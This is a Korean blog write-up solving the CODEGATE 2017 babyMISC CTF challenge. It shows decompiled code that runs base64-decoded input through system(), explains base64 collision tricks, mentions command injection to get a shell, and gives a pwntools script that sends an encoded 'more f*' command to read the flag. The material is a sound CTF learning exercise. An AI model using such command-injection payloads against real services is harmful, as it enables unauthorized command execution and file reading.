ipwn
[CODEGATE 2017] babyMISC 본문
이번 문제는 CODEGATE 2017에 나왔던 babyMISC문제이다.
github.com/ctfs에서 찾아보니 pwn분야에 들어가있었는데 그냥 말그대로 MISC인 것 같다.
난이도도 생각보다 꽤 쉬웠다.
바로 IDA로 코드를 분석해보겠다.
main함수에서 stage별로 함수를 호출하는 것 같다.
바로 함수들을 첫 스테이지부터 확인해보겠다.
일단 s의 문자열은 bash64로 encoding이 되어있고, scanf으로 입력을 받는다.
그리고 입력받은 문자열과 s는 달라야하고, 둘의 길이는 같아야 한다.
이건 base64 충돌을 이용하면 간단히 해결할 수 있는 문제이다.
맨 마지막 g부분을 h~j로 바꿔주거나, =부분을 A로 바꿔주면 스테이지가 통과된다.
2스테이지는 input을 두 개 입력받는다.
첫 번째 input과 두 번째 인풋은 길이도 달라야 하며, 값도 달라야 하지만 decoding된 값은 같아야 한다.
이건base64 table에서 A는 NULL이므로
input 1 : A
input 2 : AA
혹은
input 1 : =
input 2 : ==
혹은 그냥 아무 값이나 encoding해서 나온 값에서 '=' 나 'A'를 하나 붙이거나 혹은 =를 빼버려도 풀린다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | signed __int64 sub_401142() { signed __int64 result; // rax char *v1; // rax const char *v2; // [rsp+8h] [rbp-E8h] char src; // [rsp+10h] [rbp-E0h] __int64 dest; // [rsp+80h] [rbp-70h] char v5; // [rsp+88h] [rbp-68h] unsigned __int64 v6; // [rsp+E8h] [rbp-8h] v6 = __readfsqword(0x28u); setbuf(stdout, 0LL); puts("[*] -- STAGE 03 ----------"); puts("[+] Ok, It's easy task to you, isn't it? :)"); puts("[+] So I will give a chance to execute one command! :)"); puts("[*] Input > "); setbuf(stdin, 0LL); __isoc99_scanf("%99s", &src); sub_400D35(&src, (void **)&v2); if ( (unsigned int)sub_400E0B(v2) ) { puts("[*] NoNoNo"); result = 0LL; } else { dest = ' n- ohce'; v5 = 0; strcat((char *)&dest, &src); v1 = (char *)&dest + strlen((const char *)&dest); *(_QWORD *)v1 = '6esab | '; *((_QWORD *)v1 + 1) = 's | d- 4'; *((_WORD *)v1 + 8) = 'h'; printf("# %99s\n", &dest); system((const char *)&dest); result = 1LL; } return result; } |
스테이지 3이다.
먼저 input을 decoding을 하고, 여러 문자들을 필터링을 하는 단계를 거쳐서 decoding 된 값을 system함수로 실행한다.
필터링은 이렇게 거쳐지는데 필터링을 하는게 매우 많다.
얼핏 보면 shell을 가져오는 것이 불가능 하지만 command injection을 통해 쉘을 열고 그 뒤에
리다이렉션 시키고 하다 보면, 어찌어찌 할 수는 있다고 한다.
하지만 우리는 여기서 flag만 읽어오면 그만이기에 flag를 읽어오자.
그냥 less fl*, head fl*, more fl* ..등등 여러 방법이 있을 것이다.
이 값들을 encoding한 값을 넘겨주기만 flag를 읽어올 수 있을 것이다.
python script로 flag를 읽어오겠다.
성공적으로 flag를 읽어왔다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * p = remote( 'localhost', 9004 ) p.recv(1024) p.sendline('TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5Oij=') print '[*] stage 1 clear' p.recv(1024) p.sendline('YQ') p.recv(1024) p.sendline('YQ=') print '[*] stage 2 clear' p.recvuntil('>') p.recv(1024) p.sendline('bW9yZSBmKg==') p.recv(1024) print '[*] stage 3 clear' print p.recv(1024) |
간단히 풀리는 문제였다.
올 해 CODEGATE도 어렵지 않았으면..ㅠㅠ
'CTF's > CODEGATE' 카테고리의 다른 글
[CODEGATE 2016] bugbug (0) | 2018.03.26 |
---|---|
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2014] nuclear (0) | 2018.02.02 |
[CODEGATE 2014] angry_doraemon (0) | 2018.01.30 |
[CODEGATE 2017] babypwn (0) | 2018.01.30 |